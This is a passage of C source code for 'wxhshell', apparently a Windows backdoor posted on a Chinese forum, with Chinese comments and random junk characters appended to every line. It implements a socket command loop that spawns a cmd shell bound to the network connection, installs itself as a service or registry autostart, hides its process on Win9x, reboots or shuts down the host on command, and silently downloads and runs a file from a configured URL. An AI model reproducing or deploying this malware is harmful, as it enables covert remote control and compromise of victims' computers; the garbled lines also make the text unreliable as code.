  case '?': { ;)N>t\v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :VTTh |E%#  
    break; J0@X<Lt U  
  } >0"+4<72  
  // 安装 rqY`8Ry2M  
  case 'i': { yu;P +G  
    if(Install()) P9T}S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N;\'N ne  
    else hEp(A8g)bQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZMel{w`n  
    break; BocSwf;v.  
    } E{|W(z,  
  // 卸载 K*~0"F>"0  
  case 'r': { UEguF &  
    if(Uninstall()) g*_cP U0~m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oz,e/v8~  
    else U|IzXQX(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g"}%2~Urf  
    break; ~{jcH  
    } mWsI}2  
  // 显示 wxhshell 所在路径 z*a:L}$  
  case 'p': { MB]<Dyj,  
    char svExeFile[MAX_PATH]; 0@%v1Oja  
    strcpy(svExeFile,"\n\r"); a ?)NC  
      strcat(svExeFile,ExeFile); UWd=!h^dt  
        send(wsh,svExeFile,strlen(svExeFile),0); _sTROd)Vh  
    break; Zg{KFM%  
    } oU.R2\Q  
  // 重启 (&F ,AY3A  
  case 'b': { uFinv2Z '  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !WQ-=0cm  
    if(Boot(REBOOT)) vVFy*#I#_[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); heV=)8  
    else { k@k&}N0{  
    closesocket(wsh); "W955?4m  
    ExitThread(0); GLeK'0Q@  
    } BHU6t<G  
    break; 4R1<nZ"e~  
    } Lh!J >  
  // 关机 @1o/0y"  
  case 'd': { ! |<Fo'U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w"-Lc4t+  
    if(Boot(SHUTDOWN)) A>o *t=5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1mOh{:1u  
    else { FQ<Ju.  
    closesocket(wsh); !Prg_6 `  
    ExitThread(0); @tNzQ8  
    } )rn*iJ.e8  
    break; YNKHN2E8  
    } !Qu"BF   
  // 获取shell N8F~8lTi  
  case 's': { Ezc?#<+7  
    CmdShell(wsh); p6>Svcc  
    closesocket(wsh); s >7}zU]  
    ExitThread(0); ls\WXCH  
    break; 4i)1'{e  
  } .,<1%-R34q  
  // 退出 n8~N$tDU  
  case 'x': { ;K:zmH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a*lh)l<KV  
    CloseIt(wsh); .o(fe\KHf  
    break; Gp?a(-K5  
    } UZ\u;/}  
  // 离开 qeVfE_<  
  case 'q': { 9-&Ttbb4)0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +h|`/ &,  
    closesocket(wsh); BO~ 0ON0  
    WSACleanup(); Gw/Pk4R  
    exit(1); s4X>.ToMC  
    break; 8]M;T>n[  
        } [kVS O  
  } >)fi^  
  } eVjBGJ=2e  
]#)()6)2v  
  // 提示信息 k9sh @ENy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H%qsjB^  
} xI#9  
  } dyz2.ZY~2  
QO<jI#  
  return; DU0zez I9  
} ~ (|5/ p7t  
9vuyv*-}e  
// shell模块句柄 =)0,#9k U]  
int CmdShell(SOCKET sock) !,wIQy_e4  
{ $p1(He0 2  
STARTUPINFO si; a#cCpE  
ZeroMemory(&si,sizeof(si)); |HiE@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b6 cBg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .5^cb%B*  
PROCESS_INFORMATION ProcessInfo; 8bTn^!1  
char cmdline[]="cmd"; pNG:0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e>} s;H,  
  return 0; NW~N}5T  
} [^WC lRF  
Bd!bg|uO*  
// 自身启动模式 F|S Xn\  
int StartFromService(void) LC,F <>w1  
{ C.WX.Je  
typedef struct \\iQEy<i  
{ Lu?C-$a C  
  DWORD ExitStatus; Km qMFB62  
  DWORD PebBaseAddress; ak7bJ~)X=  
  DWORD AffinityMask; ;,hwZZA  
  DWORD BasePriority; 9g9HlB&Ze  
  ULONG UniqueProcessId; {DV_* 5  
  ULONG InheritedFromUniqueProcessId; QmQ=q7  
}   PROCESS_BASIC_INFORMATION; -R|,9o^  
;"a=gr  
PROCNTQSIP NtQueryInformationProcess; wg9t)1k{e  
.<->C?#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tIWmp30S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {j{u6i  
h0(BO*cy  
  HANDLE             hProcess; Q 1U\D  
  PROCESS_BASIC_INFORMATION pbi; []\+k31D  
{kA0z2Fe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sfpZc7  
  if(NULL == hInst ) return 0; ,kyJAju>  
}fp-pe69z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EuEZ D +  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6Pz4\uE=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hwPw]Ln/  
h){0rX@:&  
  if (!NtQueryInformationProcess) return 0; 8+~ >E  
uu-PJTNZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #Vnkvvv  
  if(!hProcess) return 0; &u]8IEv}u  
a[>/h3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9"N~yKa`"K  
]{sU&GqBLe  
  CloseHandle(hProcess); z{8bvuE  
8Q.T g.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #oS<E1  
if(hProcess==NULL) return 0; sZ3KT&  
zUt' QH7E.  
HMODULE hMod; e|g5=2(Pr&  
char procName[255]; kVuUjP6(c  
unsigned long cbNeeded; ^+*N%yr  
D.r<QO~6B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ja|5 @  
]l;o}+`G  
  CloseHandle(hProcess); 9)D6Nm  
MOQ6 :  
if(strstr(procName,"services")) return 1; // 以服务启动 t0( A4E  
B*eC3ok3z  
  return 0; // 注册表启动 OstQqV%@  
} k6;?)~.  
Vouvr<43o  
// 主模块 oro$wFxJO  
int StartWxhshell(LPSTR lpCmdLine) 0B[="rTS7#  
{ aacpM[{f  
  SOCKET wsl; #{6{TFx\  
BOOL val=TRUE; 3BzNi'  
  int port=0; 2pZXZ  
  struct sockaddr_in door; bpOYHc6,*`  
SDC4L <!  
  if(wscfg.ws_autoins) Install(); 'Y?"{HZ  
_1!7V3|^  
port=atoi(lpCmdLine); bc*X/).  
[ieI;OG;  
if(port<=0) port=wscfg.ws_port; N(O9&L*4fm  
T*I{WW  
  WSADATA data; #./fY;:cj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c|f<u{'  
B=U 3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +[Dx?XM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); adlV!k7RG  
  door.sin_family = AF_INET; Eu0akqZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MO[2~`,Q!  
  door.sin_port = htons(port); QER?i;-wb  
Plc-4y1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X enE^e+9  
closesocket(wsl); []D&bYpv  
return 1; 2v:]tj  
} m.hkbet/R  
aasoW\UG  
  if(listen(wsl,2) == INVALID_SOCKET) { 3N 8t`N  
closesocket(wsl); ~cWAl,(B<F  
return 1; :{{F *FM;  
} tE.FrZS  
  Wxhshell(wsl); '|ad_M  
  WSACleanup(); |U~<3.:m:  
*F WMn.  
return 0; w!#tTyk`  
"_P;2N6  
} a@8v^G  
T _r:4JS  
// 以NT服务方式启动 zy?.u.4L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "Hya6k>j  
{ 0;hqIJcE:\  
DWORD   status = 0; EJj.1/]|r  
  DWORD   specificError = 0xfffffff; ,Z aRy$?  
~3^ 8>d/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WJ$bf(X*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PvzcEV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B|Du@^$  
  serviceStatus.dwWin32ExitCode     = 0; ks&*O!h  
  serviceStatus.dwServiceSpecificExitCode = 0; Yf:IKY  
  serviceStatus.dwCheckPoint       = 0; B#exHf8  
  serviceStatus.dwWaitHint       = 0; e%@'5k\SK  
C7XxFh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); au N6prGe  
  if (hServiceStatusHandle==0) return; vhe>)h*B  
Bz^jw>1b  
status = GetLastError(); Gp1?iX?ml  
  if (status!=NO_ERROR) V n7*JS  
{ N c1"g1JR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %!]@J[*1  
    serviceStatus.dwCheckPoint       = 0; Ld\R:{M"  
    serviceStatus.dwWaitHint       = 0; A]<y:^2])C  
    serviceStatus.dwWin32ExitCode     = status; oin$-i|Xp!  
    serviceStatus.dwServiceSpecificExitCode = specificError; +Um( h-;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WgR).Yx  
    return; wZG\>9~  
  } w&X<5'GM  
%;cddLQ\xY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S\LkL]qx  
  serviceStatus.dwCheckPoint       = 0; uya.sF0]9B  
  serviceStatus.dwWaitHint       = 0; bmJ5MF]_fG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zxJ]" N  
} 0f~C#/[t7  
C^3 <={  
// 处理NT服务事件,比如:启动、停止 .GV;+8HzS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S-P/+K6  
{ 48c1gUw oP  
switch(fdwControl) h xSKG  
{ vo`2\R.  
case SERVICE_CONTROL_STOP: uPhK3nCGo  
  serviceStatus.dwWin32ExitCode = 0; b$4"i XSQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 11TL~ xFh  
  serviceStatus.dwCheckPoint   = 0; ^]7}YF2|  
  serviceStatus.dwWaitHint     = 0; H+1-]'g`  
  { 9`wZz~hL"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R?68*} `7  
  } |s'Po^Sy  
  return; }0eF~>Df  
case SERVICE_CONTROL_PAUSE: oT^{b\XN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?6yjy<D)$e  
  break; [.m`+  
case SERVICE_CONTROL_CONTINUE: I2TaT(e\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `)` n(B  
  break; "|Xk2U  
case SERVICE_CONTROL_INTERROGATE: }#.L7SIJ<J  
  break; kB3H="3[[  
}; #,,d>e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Nvjl~o5  
} O/,aJCe  
Ai:BEPKe  
// 标准应用程序主函数 @HQ`~C#Z'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {wO3<9  
{ ^c<ucv6.  
0TCBQ~"  
// 获取操作系统版本 plUZ"Tr  
OsIsNt=GetOsVer(); ,-i zEr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G;&-\0>W  
y&Mr=5:y  
  // 从命令行安装 I Y2)?"A  
  if(strpbrk(lpCmdLine,"iI")) Install(); #,7e NM"  
{6"Ph(I1  
  // 下载执行文件 9S-Z& 2L  
if(wscfg.ws_downexe) { }2<r,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <0H"|:W>I]  
  WinExec(wscfg.ws_filenam,SW_HIDE); IOb*GTb  
} TT'[qfAI  
gXYI\.  
if(!OsIsNt) { V=zi >o`   
// 如果时win9x,隐藏进程并且设置为注册表启动 _9JhL:cY  
HideProc(); XM1WfjE\  
StartWxhshell(lpCmdLine); ^.#jF#u~  
} fIj|4a+  
else 'qjeXqGH$  
  if(StartFromService()) N$h{Yvbn  
  // 以服务方式启动 wT `a3Ymm  
  StartServiceCtrlDispatcher(DispatchTable); j<u@j+V  
else .C&ktU4  
  // 普通方式启动 Kz>3 ic$I  
  StartWxhshell(lpCmdLine); eln&]d;  
]<H&+ &!  
return 0; y9_K, g  
}
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只看该作者 1 发表于: 2006-10-10
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